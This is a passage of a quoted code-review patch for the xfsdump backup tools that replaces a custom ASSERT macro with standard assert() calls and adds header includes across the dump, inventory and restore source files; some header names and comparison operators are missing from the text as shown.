postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > diff --git a/dump/inomap.c b/dump/inomap.c > index a35059a..7a3069f 100644 > --- a/dump/inomap.c > +++ b/dump/inomap.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -185,7 +186,7 @@ inomap_build( jdm_fshandle_t *fshandlep, > bstatbuflen > * > sizeof( xfs_bstat_t )); > - ASSERT( bstatbufp ); > + assert( bstatbufp ); > > /* count the number of inode groups, which will serve as a > * starting point for the size of the inomap. > @@ -369,7 +370,7 @@ inomap_build( jdm_fshandle_t *fshandlep, > } else { > ep = &startptp[ startptix + 1 ]; > } > - ASSERT( ! p->sp_flags ); > + assert( ! p->sp_flags ); > mlog( MLOG_VERBOSE | MLOG_INOMAP, > _("stream %u: ino %llu offset %lld to "), > startptix, > @@ -606,8 +607,8 @@ cb_add( void *arg1, > cb_hdrsz += ( EXTENTHDR_SZ * (statp->bs_extents + 1) ); > } > } else if ( resumed ) { > - ASSERT( mode != S_IFDIR ); > - ASSERT( changed ); > + assert( mode != S_IFDIR ); > + assert( changed ); > } else { > if ( mode == S_IFDIR ) { > if ( cb_skip_unchanged_dirs ) { > @@ -832,7 +833,7 @@ cb_startpt( void *arg1, > return 0; > } > > - ASSERT( cb_startptix < cb_startptcnt ); > + assert( cb_startptix < cb_startptcnt ); > > estimate = estimate_dump_space( statp ); > cb_accum += estimate + ( EXTENTHDR_SZ * (statp->bs_extents + 1) ); > @@ -929,7 +930,7 @@ cb_startpt( void *arg1, > } > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > return 1; > } > } while ( action == ( action_t )BUMP || action == ( action_t )SPLIT ); > @@ -1042,7 +1043,7 @@ SEG_GET_BITS( seg_t *segp, xfs_ino_t ino ) > static intgen_t > inomap_init( intgen_t igrpcnt ) > { > - ASSERT( sizeof( hnk_t ) == HNKSZ ); > + assert( sizeof( hnk_t ) == HNKSZ ); > > /* lastseg must be initialized with -1 offsets since > * no segments have been added yet */ > @@ -1483,7 +1484,7 @@ subtreelist_parse( jdm_fshandle_t *fshandlep, > for ( subtreeix = 0 ; subtreeix < subtreecnt ; subtreeix++ ) { > intgen_t cbrval = 0; > char *currentpath = subtreebuf[ subtreeix ]; > - ASSERT( *currentpath != '/' ); > + assert( *currentpath != '/' ); > ( void )diriter( fshandlep, > fsfd, > rootstatp, > @@ -1669,7 +1670,7 @@ quantity2offset( jdm_fshandle_t *fshandlep, xfs_bstat_t *statp, off64_t qty ) > } > > if ( bmap[ 0 ].bmv_entries <= 0 ) { > - ASSERT( bmap[ 0 ].bmv_entries == 0 ); > + assert( bmap[ 0 ].bmv_entries == 0 ); > ( void )close( fd ); > return offset_next; > } > diff --git a/inventory/inv_api.c b/inventory/inv_api.c > index 65102e6..bd473e9 100644 > --- a/inventory/inv_api.c > +++ b/inventory/inv_api.c > @@ -26,6 +26,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -48,7 +49,7 @@ inv_open( inv_predicate_t bywhat, inv_oflag_t forwhat, void *pred ) > > int index = 0; > > - ASSERT ( pred ); > + assert ( pred ); > fd = retval = init_idb ( pred, bywhat, forwhat, &tok ); > > if ( retval == I_DONE ) > @@ -72,7 +73,7 @@ inv_open( inv_predicate_t bywhat, inv_oflag_t forwhat, void *pred ) > return INV_TOKEN_NULL; > } > > - ASSERT ( index > 0 ); > + assert ( index > 0 ); > > /* Now we need to make sure that this has enough space */ > INVLOCK( stobjfd, LOCK_SH ); > @@ -170,12 +171,12 @@ inv_writesession_open( > inv_sestoken_t sestok; > inv_oflag_t forwhat; > > - ASSERT ( tok != INV_TOKEN_NULL ); > - ASSERT ( sesid && fsid && mntpt && devpath ); > + assert ( tok != INV_TOKEN_NULL ); > + assert ( sesid && fsid && mntpt && devpath ); > forwhat = tok->d_oflag; > fd = tok->d_stobj_fd; > - ASSERT ( forwhat != INV_SEARCH_ONLY ); > - ASSERT ( fd > 0 ); > + assert ( forwhat != INV_SEARCH_ONLY ); > + assert ( fd > 0 ); > > if ( ! ( tok->d_update_flag & FSTAB_UPDATED ) ) { > if ( fstab_put_entry( fsid, mntpt, devpath, forwhat ) < 0 ) { > @@ -218,7 +219,7 @@ inv_writesession_open( > /* create the writesession, and get ready for the streams to come > afterwards */ > rval = stobj_create_session( sestok, fd, sescnt, &ses, &hdr ); > - ASSERT (rval > 0); > + assert (rval > 0); > > > INVLOCK( fd, LOCK_UN ); > @@ -256,7 +257,7 @@ inv_writesession_close( inv_sestoken_t tok ) > { > int rval; > > - ASSERT ( tok != INV_TOKEN_NULL ); > + assert ( tok != INV_TOKEN_NULL ); > > /* now update end_time in the inv index header */ > rval = idx_put_sesstime( tok, INVT_ENDTIME ); > @@ -287,7 +288,7 @@ inv_stream_open( > int fd; > bool_t err = BOOL_FALSE; > > - ASSERT ( tok != INV_TOKEN_NULL ); > + assert ( tok != INV_TOKEN_NULL ); > > /* this memset is needed as a dump interrupted/crashed very soon > * after starting results in an inventory with exteremely large > @@ -446,9 +447,9 @@ inv_put_mediafile( > int rval; > > > - ASSERT ( tok != INV_TOKEN_NULL ); > - ASSERT ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); > - ASSERT ( tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); > + assert ( tok != INV_TOKEN_NULL ); > + assert ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); > + assert ( tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); > > mf = (invt_mediafile_t *) calloc( 1, sizeof( invt_mediafile_t ) ); > > @@ -512,8 +513,8 @@ inv_get_sessioninfo( > int fd; > > > - ASSERT( tok != INV_TOKEN_NULL ); > - ASSERT( tok->sd_invtok ); > + assert( tok != INV_TOKEN_NULL ); > + assert( tok->sd_invtok ); > *bufpp = NULL; > *bufszp = 0; > fd = tok->sd_invtok->d_stobj_fd; > @@ -579,8 +580,8 @@ inv_free_session( > { > uint i; > > - ASSERT(ses); > - ASSERT(*ses); > + assert(ses); > + assert(*ses); > > for ( i = 0; i < (*ses)->s_nstreams; i++ ) { > /* the array of mediafiles is contiguous */ > diff --git a/inventory/inv_core.c b/inventory/inv_core.c > index 3f7edb6..a83e7ef 100644 > --- a/inventory/inv_core.c > +++ b/inventory/inv_core.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > #include "types.h" > #include "inv_priv.h" > > @@ -44,7 +45,7 @@ get_counters( int fd, void **cntpp, size_t cntsz ) > { > /* object must be locked at least SHARED by caller */ > u_int num; > - ASSERT( cntsz >= sizeof( invt_counter_t ) ); > + assert( cntsz >= sizeof( invt_counter_t ) ); > > *cntpp = calloc( 1, cntsz); > > @@ -62,7 +63,7 @@ get_counters( int fd, void **cntpp, size_t cntsz ) > "INV : Unknown version %d - Expected version %d\n"), > (int) ( (invt_counter_t *)(*cntpp))->ic_vernum, > (int) INV_VERSION ); > - ASSERT ( ((invt_counter_t *)(*cntpp))->ic_vernum == > + assert ( ((invt_counter_t *)(*cntpp))->ic_vernum == > INV_VERSION ); > } > > @@ -110,7 +111,7 @@ get_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, > { > int nread; > > - ASSERT ( fd >= 0 ); > + assert ( fd >= 0 ); > > if ( dolock ) > INVLOCK( fd, LOCK_SH ); > diff --git a/inventory/inv_files.c b/inventory/inv_files.c > index f77eeec..34b7aac 100644 > --- a/inventory/inv_files.c > +++ b/inventory/inv_files.c > @@ -23,6 +23,7 @@ > #include > #include > #include > +#include > > > /*----------------------------------------------------------------------*/ > @@ -50,28 +51,28 @@ static char inv_lockfilep[MGR_PATH_MAX]; > char * > inv_dirpath( void ) > { > - ASSERT(inv_base); > + assert(inv_base); > return inv_dirpathp; > } > > char * > inv_fstab( void ) > { > - ASSERT(inv_base); > + assert(inv_base); > return inv_fstabp; > } > > char * > inv_lockfile( void ) > { > - ASSERT(inv_base); > + assert(inv_base); > return inv_lockfilep; > } > > char * > inv_basepath( void ) > { > - ASSERT(inv_base); > + assert(inv_base); > return inv_base; > } > > diff --git a/inventory/inv_fstab.c b/inventory/inv_fstab.c > index 6567846..e87152f 100644 > --- a/inventory/inv_fstab.c > +++ b/inventory/inv_fstab.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -88,7 +89,7 @@ fstab_put_entry( uuid_t *fsidp, char *mntpt, char *dev, inv_oflag_t forwhat ) > invt_fstab_t *arr; > int rval = 1; > > - ASSERT( forwhat != INV_SEARCH_ONLY ); > + assert( forwhat != INV_SEARCH_ONLY ); > > /* fd is locked on succesful return */ > fd = fstab_getall( &arr, &cnt, &numfs, forwhat ); > @@ -229,7 +230,7 @@ fstab_get_fname( void *pred, > if ( bywhat != INV_BY_UUID ) > free ( arr ); > > - ASSERT( (int) strlen( fname ) < INV_STRLEN ); > + assert( (int) strlen( fname ) < INV_STRLEN ); > return 1; > } > > diff --git a/inventory/inv_idx.c b/inventory/inv_idx.c > index 145745a..edb72b3 100644 > --- a/inventory/inv_idx.c > +++ b/inventory/inv_idx.c > @@ -25,6 +25,7 @@ > #include > #include > #include > +#include > #include "types.h" > #include "mlog.h" > #include "inv_priv.h" > @@ -119,7 +120,7 @@ idx_insert_newentry( int fd, /* kept locked EX by caller */ > We choose the former. */ > > /* the timeperiods had better not overlap */ > - ASSERT(( tm > iarr[i].ie_timeperiod.tp_end ) && > + assert(( tm > iarr[i].ie_timeperiod.tp_end ) && > ( tm < iarr[i+1].ie_timeperiod.tp_start )); > > /* shift everything from (i+1) onwards by > @@ -134,7 +135,7 @@ idx_insert_newentry( int fd, /* kept locked EX by caller */ > } > > /* We couldnt find anything that fits */ > - ASSERT( 0 ); /* We can't get here ! */ > + assert( 0 ); /* We can't get here ! */ > return -1; > > > @@ -255,7 +256,7 @@ idx_create( char *fname, inv_oflag_t forwhat ) > > /* This is not to be called when the user wants to open > the db for SEARCH_ONLY. */ > - ASSERT( forwhat != INV_SEARCH_ONLY ); > + assert( forwhat != INV_SEARCH_ONLY ); > > if ((fd = open ( fname , INV_OFLAG(forwhat) | O_CREAT, S_IRUSR|S_IWUSR ) ) < 0 ) { > INV_PERROR ( fname ); > @@ -477,8 +478,8 @@ idx_get_stobj( int invfd, inv_oflag_t forwhat, int *index ) > return -1; > /* at this point we know that there should be at least one invindex > entry present */ > - ASSERT ( ent != NULL ); > - ASSERT ( ent->ie_filename ); > + assert ( ent != NULL ); > + assert ( ent->ie_filename ); > > fd = open( ent->ie_filename, INV_OFLAG(forwhat) ); > if ( fd < 0 ) > diff --git a/inventory/inv_mgr.c b/inventory/inv_mgr.c > index 1f4a425..926b4c8 100644 > --- a/inventory/inv_mgr.c > +++ b/inventory/inv_mgr.c > @@ -24,6 +24,7 @@ > #include > #include > #include > +#include > #include "types.h" > #include "mlog.h" > #include "inv_priv.h" > @@ -150,7 +151,7 @@ invmgr_query_all_sessions ( > > /* if on return, this is still null, the search failed */ > *outarg = NULL; > - ASSERT(inarg); > + assert(inarg); > > fd = fstab_getall( &arr, &cnt, &numfs, forwhat ); > /* special case missing file: ok, outarg says zero */ > @@ -725,7 +726,7 @@ bool_t > invmgr_trylock( invt_mode_t mode ) > { > int md; > - ASSERT( invlock_fd >= 0 ); > + assert( invlock_fd >= 0 ); > > md = (mode == INVT_RECONSTRUCT) ? LOCK_EX: LOCK_SH; > > @@ -738,7 +739,7 @@ invmgr_trylock( invt_mode_t mode ) > void > invmgr_unlock( void ) > { > - ASSERT( invlock_fd >= 0 ); > + assert( invlock_fd >= 0 ); > > INVLOCK( invlock_fd, LOCK_UN ); > > diff --git a/inventory/inv_oref.c b/inventory/inv_oref.c > index a124b07..b6cd61d 100644 > --- a/inventory/inv_oref.c > +++ b/inventory/inv_oref.c > @@ -18,6 +18,7 @@ > > #include > #include > +#include > > #include "inv_priv.h" > #include "inv_oref.h" > @@ -34,8 +35,8 @@ oref_resolve_( > intgen_t rval; > > type &= INVT_OTYPE_MASK; > - ASSERT(type); > - ASSERT(! OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > + assert(type); > + assert(! OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > > switch (type) { > case INVT_OTYPE_INVIDX: > @@ -51,7 +52,7 @@ oref_resolve_( > break; > > default: > - ASSERT(0); > + assert(0); > break; > } > > @@ -73,12 +74,12 @@ oref_resolve_upto( > { > intgen_t rval = INV_OK; > > - ASSERT (OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > - ASSERT (OREF_ISLOCKED(obj)); > + assert (OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > + assert (OREF_ISLOCKED(obj)); > > /* we arent interested in anything else */ > type &= INVT_RES_MASK; > - ASSERT(type); > + assert(type); > > if (type >= INVT_RES_COUNTERS) { > rval = oref_resolve_counters(obj); > @@ -111,11 +112,11 @@ oref_resolve_entries( > if (OREF_ISRESOLVED(obj, INVT_RES_ENTRIES)) > return INV_OK; > > - ASSERT(! OREF_ISRESOLVED(INVT_OTYPE_STOBJ)); > + assert(! OREF_ISRESOLVED(INVT_OTYPE_STOBJ)); > > if (OREF_ISRESOLVED(INVT_OTYPE_INVIDX)) { > invt_entry_t *ent; > - ASSERT(OREF_CNT_CURNUM(obj)); > + assert(OREF_CNT_CURNUM(obj)); > > if (GET_ENTRIES(obj->fd, &ent, OREF_CNT_CURNUM(obj), > sizeof(invt_entry_t)) < 0){ > @@ -125,7 +126,7 @@ oref_resolve_entries( > } > else { > invt_fstab_t *ent; > - ASSERT(OREF_CNT_CURNUM(obj)); > + assert(OREF_CNT_CURNUM(obj)); > if (GET_ENTRIES(obj->fd, &ent, OREF_CNT_CURNUM(obj), > sizeof(invt_fstab_t)) < 0){ > return INV_ERR; > @@ -184,10 +185,10 @@ oref_sync( > intgen_t rval; > > type &= INVT_RES_MASK; > - ASSERT(type); > - ASSERT(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > - ASSERT(OREF_ISRESOLVED(obj, type)); > - ASSERT(OREF_ISLOCKED(obj)); > + assert(type); > + assert(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > + assert(OREF_ISRESOLVED(obj, type)); > + assert(OREF_ISLOCKED(obj)); > > switch (type) { > case INVT_RES_COUNTERS: > @@ -199,7 +200,7 @@ oref_sync( > break; > > case INVT_RES_ENTRIES: > - ASSERT(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); > + assert(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); > > rval = PUT_REC_NOLOCK(obj->fd, > OREF_ENTRIES(obj), > @@ -209,7 +210,7 @@ oref_sync( > break; > > default: > - ASSERT(0); > + assert(0); > break; > } > > @@ -226,13 +227,13 @@ oref_sync_append( > intgen_t rval; > > type &= INVT_RES_MASK; > - ASSERT(type); > - ASSERT(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > - ASSERT(OREF_ISLOCKED(obj)); > + assert(type); > + assert(OREF_ISRESOLVED(obj, INVT_OTYPE_MASK)); > + assert(OREF_ISLOCKED(obj)); > > switch (type) { > case INVT_RES_ENTRIES: > - ASSERT(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); > + assert(! OREF_ISRESOLVED(obj, INVT_OTYPE_STOBJ)); > > rval = PUT_REC_NOLOCK(obj->fd, > entry, > @@ -245,7 +246,7 @@ oref_sync_append( > break; > > default: > - ASSERT(0); > + assert(0); > break; > } > > @@ -314,7 +315,7 @@ oref_resolve( > invt_oref_t *stobj; > int index; > > - ASSERT(! OREF_ISRESOLVED(invidx, INVT_OTYPE_MASK)); > + assert(! OREF_ISRESOLVED(invidx, INVT_OTYPE_MASK)); > > OREF_SET_TYPE(invidx, INVT_OTYPE_INVIDX); > > @@ -393,7 +394,7 @@ oref_resolve_child( > int *index) > { > invt_entry_t *ent; > - ASSERT(OREF_IS_LOCKED(invidx)); > + assert(OREF_IS_LOCKED(invidx)); > > if (oref_resolve_upto(invidx, INVT_RES_ENTRIES) == INV_ERR) > return INV_ERR; > @@ -402,8 +403,8 @@ oref_resolve_child( > > /* at this point we know that there should be at least one invindex > entry present */ > - ASSERT ( ent != NULL ); > - ASSERT ( ent->ie_filename ); > + assert ( ent != NULL ); > + assert ( ent->ie_filename ); > > fd = open( ent->ie_filename, O_RDWR ); > if ( fd < 0 ) { > @@ -462,7 +463,7 @@ oref_resolve_new_stobj( > invt_oref_t *stobj; > inv_idbtoken_t tok; > > - ASSERT(OREF_ISLOCKED(invidx)); > + assert(OREF_ISLOCKED(invidx)); > > memset ( &ent, 0, sizeof( ent ) ); > stobj = calloc(1, sizeof(invt_oref_t)); > diff --git a/inventory/inv_oref.h b/inventory/inv_oref.h > index 5f4ed68..2562500 100644 > --- a/inventory/inv_oref.h > +++ b/inventory/inv_oref.h > @@ -158,48 +158,48 @@ typedef struct invt_oref { > { (oref)->token = tok; } > > #define OREF_SET_CNT(oref, cnt) \ > - { ASSERT (OREF_ISRESOLVED(oref, INVT_OTYPE_MASK)); \ > + { assert (OREF_ISRESOLVED(oref, INVT_OTYPE_MASK)); \ > ((oref)->type & INVT_OTYPE_STOBJ) ? \ > (oref)->cu_sescnt = (cnt): (oref)->cu_cnt = (cnt); \ > (oref)->type |= INVT_RES_COUNTERS; } > > #define OREF_SET_ENTRIES(oref, ents) \ > - { ASSERT ((oref)->type & (INVT_OTYPE_INVIDX | INVT_OTYPE_FSTAB));\ > - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ > + { assert ((oref)->type & (INVT_OTYPE_INVIDX | INVT_OTYPE_FSTAB));\ > + assert ((oref)->type & INVT_RES_COUNTERS); \ > ((oref)->type & INVT_OTYPE_INVIDX) ? \ > (oref)->eu_ent = ents : (oref)->eu_fstabent = ents; \ > (oref)->type |= INVT_RES_ENTRIES; } > > #define OREF_SET_HDRS(oref, hdrs) \ > - { ASSERT ((oref)->type & INVT_OTYPE_STOBJ); \ > - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ > + { assert ((oref)->type & INVT_OTYPE_STOBJ); \ > + assert ((oref)->type & INVT_RES_COUNTERS); \ > (oref)->eu_hdr = hdrs; \ > (oref)->type |= INVT_STOBJ_RES_HDRS; } > > #define OREF_SET_SESSIONS(oref, ses) \ > - { ASSERT ((oref)->type & INVT_OTYPE_STOBJ); \ > - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ > + { assert ((oref)->type & INVT_OTYPE_STOBJ); \ > + assert ((oref)->type & INVT_RES_COUNTERS); \ > (oref)->eu_ses = ses; \ > (oref)->type |= INVT_STOBJ_RES_SESSIONS; } > > #define OREF_SET_STRMS(oref, strms) \ > - { ASSERT ((oref)->type & INVT_OTYPE_STOBJ); \ > - ASSERT ((oref)->type & INVT_RES_COUNTERS); \ > + { assert ((oref)->type & INVT_OTYPE_STOBJ); \ > + assert ((oref)->type & INVT_RES_COUNTERS); \ > (oref)->eu_strm = strms; \ > (oref)->type |= INVT_STOBJ_RES_STRMS; } > > #define OREF_SET_CHILD(oref, stobjref) \ > - { ASSERT (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ > + { assert (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ > (oref)->ku_child = stobjref; \ > (oref)->type |= INVT_RES_CHILD; } > > #define OREF_SET_PARENT(oref, invidxref) \ > - { ASSERT (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ > + { assert (! OREF_ISRESOLVED(oref, INVT_RES_KIN)); \ > (oref)->ku_parent = invidxref; \ > (oref)->type |= INVT_RES_PARENT; } > > #define OREF_UNRESOLVE_CHILD(oref) \ > - { ASSERT (OREF_ISRESOLVED(oref, INVT_RES_CHILD)); \ > + { assert (OREF_ISRESOLVED(oref, INVT_RES_CHILD)); \ > close((oref)->ku_child->fd); \ > OREF_DESTROY((oref)->ku_child); \ > (oref)->ku_child = 0; \ > diff --git a/inventory/inv_stobj.c b/inventory/inv_stobj.c > index becac17..42969b1 100644 > --- a/inventory/inv_stobj.c > +++ b/inventory/inv_stobj.c > @@ -26,6 +26,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "timeutil.h" > @@ -168,7 +169,7 @@ stobj_split( invt_idxinfo_t *idx, int fd, invt_sescounter_t *sescnt, > if ( GET_SESHEADERS( fd, &harr, ns ) < 0 ) > return -1; > > - ASSERT( harr != NULL ); > + assert( harr != NULL ); > > if ( ( ix = stobj_find_splitpoint( fd, harr, ns, > newsess->seshdr->sh_time ) ) == 0 ) > @@ -390,7 +391,7 @@ stobj_sortheaders( int fd, u_int num ) > if ( num < 2 ) return 1; > > hdrs = malloc( sz ); > - ASSERT( hdrs ); > + assert( hdrs ); > > if ( GET_REC_NOLOCK( fd, hdrs, sz, STOBJ_OFFSET( 0, 0 ) ) < 0 ) { > free ( hdrs ); > @@ -505,7 +506,7 @@ stobj_makefname( char *fname ) > strcat( fname, str ); > strcat( fname, INV_STOBJ_PREFIX ); > > - ASSERT( (int) strlen( fname ) < INV_STRLEN ); > + assert( (int) strlen( fname ) < INV_STRLEN ); > } > > > @@ -571,7 +572,7 @@ stobj_create_session( > { > off64_t hoff; > > - ASSERT( tok && sescnt && ses && hdr ); > + assert( tok && sescnt && ses && hdr ); > > hdr->sh_sess_off = -1; > ses->s_cur_nstreams = 0; > @@ -759,7 +760,7 @@ stobj_pack_sessinfo( int fd, invt_session_t *ses, invt_seshdr_t *hdr, > > /* Now we know how big this entire thing is going to be */ > sesbufcp = sesbuf = calloc( 1, sessz ); > - ASSERT( sesbuf ); > + assert( sesbuf ); > > /* Copy everything. Note that we don't bother to adjust the offsets > either in the seshdr or in the mediafiles, because we don't need > @@ -801,7 +802,7 @@ stobj_pack_sessinfo( int fd, invt_session_t *ses, invt_seshdr_t *hdr, > for ( j = 0; j < strms[i].st_nmediafiles; > j++, > off = mf.mf_nextmf ) { > - ASSERT( off ); > + assert( off ); > if ( GET_REC_NOLOCK( fd, &mf, > sizeof( invt_mediafile_t ), > off ) <= 0 ) { > @@ -941,7 +942,7 @@ stobj_delete_mobj(int fd, > /* The prob is that we need to keep track of where we got these mfiles from > as we get them, or we wont know how to put them back if they are dirty. > */ > - ASSERT( off ); > + assert( off ); > if ( GET_REC_NOLOCK( fd, mf, > sizeof( invt_mediafile_t ), > off ) <= 0 ) { > @@ -1005,7 +1006,7 @@ stobj_unpack_sessinfo( > char *tmpbuf; > char *p = (char *)bufp; > > - ASSERT ( bufp ); > + assert ( bufp ); > > tmpbuf = (char *)malloc(bufsz); > > @@ -1109,7 +1110,7 @@ stobj_unpack_sessinfo( > (int)( p - (char *) bufp ), (int) bufsz, > (int) ( sizeof( invt_entry_t ) ) ); > } > - ASSERT( (size_t) ( p - (char *) bufp ) == bufsz ); > + assert( (size_t) ( p - (char *) bufp ) == bufsz ); > > return BOOL_TRUE; > } > @@ -1238,12 +1239,12 @@ stobj_copy_invsess(int fd, > if (nmf) > ises->s_streams[i].st_mediafiles = calloc( nmf, > sizeof( inv_mediafile_t ) ); > - ASSERT( !nmf || ises->s_streams[i].st_mediafiles ); > + assert( !nmf || ises->s_streams[i].st_mediafiles ); > > for ( j = 0; j < nmf; > j++, > off = mf.mf_nextmf ) { > - ASSERT( off ); > + assert( off ); > if ( GET_REC_NOLOCK( fd, &mf, > sizeof( invt_mediafile_t ), > off ) <= 0 ) { > diff --git a/inventory/testmain.c b/inventory/testmain.c > index cfd0654..d8c61e2 100644 > --- a/inventory/testmain.c > +++ b/inventory/testmain.c > @@ -22,6 +22,7 @@ > #include > #include > #include > +#include > #include "types.h" > #include "mlog.h" > #include "getopt.h" > @@ -92,12 +93,12 @@ recons_test( int howmany ) > rval = get_invtrecord( fd, &sarr[i], > sizeof( uuid_t ) + sizeof( size_t ), 0, > SEEK_CUR, BOOL_FALSE ); > - ASSERT( rval > 0 ); > - ASSERT( sarr[i].sz > 0 ); > + assert( rval > 0 ); > + assert( sarr[i].sz > 0 ); > sarr[i].buf = calloc( 1, sarr[i].sz ); > rval = get_invtrecord( fd, sarr[i].buf, sarr[i].sz, 0, SEEK_CUR, > BOOL_FALSE ); > - ASSERT( rval > 0 ); > + assert( rval > 0 ); > } > > > @@ -263,9 +264,9 @@ write_test( int nsess, int nstreams, int nmedia, int dumplevel ) > printf("first time!\n"); > for (i=0; i<8; i++) { > uuid_create( &fsidarr[i], &stat ); > - ASSERT ( stat == uuid_s_ok ); > + assert ( stat == uuid_s_ok ); > uuid_create( &sesidarr[i], &stat ); > - ASSERT ( stat == uuid_s_ok ); > + assert ( stat == uuid_s_ok ); > } > fd = open( "uuids", O_RDWR | O_CREAT ); > PUT_REC(fd, (void *)fsidarr, sizeof (uuid_t) * 8, 0L ); > @@ -289,7 +290,7 @@ write_test( int nsess, int nstreams, int nmedia, int dumplevel ) > dev = dev_str[7]; > fsidp = &fsidarr[0]; /* j */ > tok1 = inv_open( INV_BY_UUID, INV_SEARCH_N_MOD, fsidp ); > - ASSERT (tok1 != INV_TOKEN_NULL ); > + assert (tok1 != INV_TOKEN_NULL ); > > uuid_create( &labelid, &stat ); > uuid_to_string( &labelid, &str, &stat ); > @@ -306,10 +307,10 @@ write_test( int nsess, int nstreams, int nmedia, int dumplevel ) > dumplevel, nstreams, > time(NULL), > mnt, dev ); > - ASSERT (tok2 != INV_TOKEN_NULL ); > + assert (tok2 != INV_TOKEN_NULL ); > for (m = 0; m tok3 = inv_stream_open( tok2,"/dev/rmt"); > - ASSERT (tok3 != INV_TOKEN_NULL ); > + assert (tok3 != INV_TOKEN_NULL ); > > for (k = 0; k CREAT_mfiles( tok3, &labelid, k*100, > @@ -353,7 +354,7 @@ mp_test(int nstreams) > { > #if 0 > tok1 = inv_open( INV_BY_UUID, fsidp ); > - ASSERT (tok1 != INV_TOKEN_NULL ); > + assert (tok1 != INV_TOKEN_NULL ); > > tok2 = inv_writesession_open(tok1, fsidp, > &labelid, > @@ -363,11 +364,11 @@ mp_test(int nstreams) > dumplevel, nstreams, > time(NULL), > mnt, dev ); > - ASSERT (tok2 != INV_TOKEN_NULL ); > + assert (tok2 != INV_TOKEN_NULL ); > > for (m = 0; m tok3 = inv_stream_open( tok2,"/dev/rmt"); > - ASSERT (tok3 != INV_TOKEN_NULL ); > + assert (tok3 != INV_TOKEN_NULL ); > > for (k = 0; k CREAT_mfiles( tok3, &labelid, k*100, > @@ -399,7 +400,7 @@ main(int argc, char *argv[]) > > progname = argv[0]; > sesfile = "sessions"; > - ASSERT( argc > 1 ); > + assert( argc > 1 ); > > mlog_init( argc, argv ); > > diff --git a/librmt/rmtioctl.c b/librmt/rmtioctl.c > index c49e96d..4c108fb 100644 > --- a/librmt/rmtioctl.c > +++ b/librmt/rmtioctl.c > @@ -30,6 +30,7 @@ > #include > #include > #include > +#include > > /* > * uses old_mtget IRIX structure since we don't bother > diff --git a/restore/bag.c b/restore/bag.c > index b7d8fe2..8c7a216 100644 > --- a/restore/bag.c > +++ b/restore/bag.c > @@ -22,6 +22,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -33,7 +34,7 @@ bag_alloc( void ) > bag_t *bagp; > > bagp = ( bag_t * )calloc( 1, sizeof( bag_t )); > - ASSERT( bagp ); > + assert( bagp ); > return bagp; > } > > @@ -46,9 +47,9 @@ bag_insert( bag_t *bagp, > register bagelem_t *nextp; > register bagelem_t *prevp; > > - ASSERT( ! newp->be_loaded ); > + assert( ! newp->be_loaded ); > newp->be_loaded = BOOL_TRUE; > - ASSERT( ! newp->be_bagp ); > + assert( ! newp->be_bagp ); > newp->be_bagp = bagp; > > newp->be_key = key; > @@ -79,8 +80,8 @@ bag_remove( bag_t *bagp, > register bagelem_t *nextp; > register bagelem_t *prevp; > > - ASSERT( oldp->be_loaded ); > - ASSERT( oldp->be_bagp == bagp ); > + assert( oldp->be_loaded ); > + assert( oldp->be_bagp == bagp ); > > nextp = oldp->be_nextp; > prevp = oldp->be_prevp; > @@ -90,7 +91,7 @@ bag_remove( bag_t *bagp, > > if ( bagp->b_headp == oldp ) { > if ( nextp == oldp ) { > - ASSERT( prevp == oldp ); > + assert( prevp == oldp ); > bagp->b_headp = 0; > } else { > bagp->b_headp = nextp; > @@ -121,8 +122,8 @@ bag_find( bag_t *bagp, > *payloadpp = 0; > return 0; > } else { > - ASSERT( p->be_loaded ); > - ASSERT( p->be_bagp == bagp ); > + assert( p->be_loaded ); > + assert( p->be_bagp == bagp ); > *payloadpp = p->be_payloadp; > return p; > } > @@ -182,7 +183,7 @@ bag_free( bag_t *bagp ) > if ( p == bagp->b_headp ) { > break; > } > - ASSERT( p ); > + assert( p ); > } > > memset( ( void * )bagp, 0, sizeof( bag_t )); > diff --git a/restore/content.c b/restore/content.c > index f2d361b..4796aea 100644 > --- a/restore/content.c > +++ b/restore/content.c > @@ -34,6 +34,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "timeutil.h" > @@ -912,14 +913,14 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > > /* sanity checks > */ > - ASSERT( sizeof( pers_desc_t ) <= PERS_DESCSZ ); > - ASSERT( PERS_DESCSZ <= pgsz ); > - ASSERT( ! ( pgsz % PERS_DESCSZ )); > - ASSERT( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); > + assert( sizeof( pers_desc_t ) <= PERS_DESCSZ ); > + assert( PERS_DESCSZ <= pgsz ); > + assert( ! ( pgsz % PERS_DESCSZ )); > + assert( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); > > - ASSERT( ! ( perssz % pgsz )); > + assert( ! ( perssz % pgsz )); 